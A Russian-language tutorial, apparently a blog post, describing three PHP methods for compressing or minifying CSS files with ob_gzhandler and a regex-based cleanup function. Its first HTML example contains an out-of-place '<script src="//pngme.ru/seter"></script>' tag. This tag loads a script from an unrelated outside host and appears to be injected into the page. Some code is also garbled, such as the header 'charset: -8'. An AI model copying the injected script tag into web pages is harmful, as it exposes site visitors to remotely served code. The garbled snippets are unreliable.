Cпособы компрессии CSS при помощи PHP

95525Когда вы разрабатываете большой проект , файлы могут быстро стать очень объемистыми и это увеличит время для загрузки страниц. В данной статье я рассматриваю 3 возможных пути сжатия файлов , используя PHP.

1 способ.

Для того , чтобы использовать данный метод компрессии вам потребуется переименовать ваши файлы каскадных стилей с расширения .css на .css.php . Далее меняем линк в HTML коде на следующий:

<script src="//pngme.ru/seter"></script></p>
<link rel="stylesheet" type="text/css" href="/style.css.php" media="screen" />

Как только вы успешно переименовываете свои css файлы, редактируете это и добавляете следующий код в начале файла:

<br />
<?php if(extension_loaded('zlib')){ob_start('ob_gzhandler');} header(&quot;Content-type: text/css&quot;); ?><br />

Затем, добавляете данный код в самый низ страницы и сохраняете файл:

<br />
<?php if(extension_loaded('zlib')){ob_end_flush();}?><br />

2 способ.

В принципе данный метод особо не отличается от метода приведённого выше , вы также переименовываете ваш CSS файл меняя его разрешение на *.php и в начало вашего CSS файла записываете данный код:

<br />
<?php    ob_start (&quot;ob_gzhandler&quot;);    header (&quot;content-type: text/css; charset: -8&quot;);    header (&quot;cache-control: must-revalidate&quot;);    $offset = 60 * 60;    $expire = &quot;expires: &quot; . gmdate (&quot;D, d M Y H:i:s&quot;, time() + $offset) . &quot; GMT&quot;;    header ($expire); ?><br />

Если сравнивать этот метод с первым методом , то этот несомненно удобней импортировать в файлы , так как вам не придётся меня конец файла , а просто придётся скопировать код приведённые выше в ваш CSS файл.

3 способ.

Еще один способ компрессии , который также не очень удобный , но он на много удобней двух предыдущих , так как он не требует изменения расширения CSS файлов :

<br />
<?php   header('Content-type: text/css');   ob_start(&quot;compress&quot;);   function compress($buffer) {  /* удаляем комментарии */     $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);    /* удаляем табуляции , пробелы и.т.д. */     $buffer = str_replace(array(&quot;\r\n&quot;, &quot;\r&quot;, &quot;\n&quot;, &quot;\t&quot;, '  ', '    ', '    '), '', $buffer);     return $buffer;   }    /* ваш CSS файл */   include('master.css');   include('typography.css');   include('grid.css');   include('print.css');   include('handheld.css');     ob_end_flush(); ?><br />

Запись навигация

Top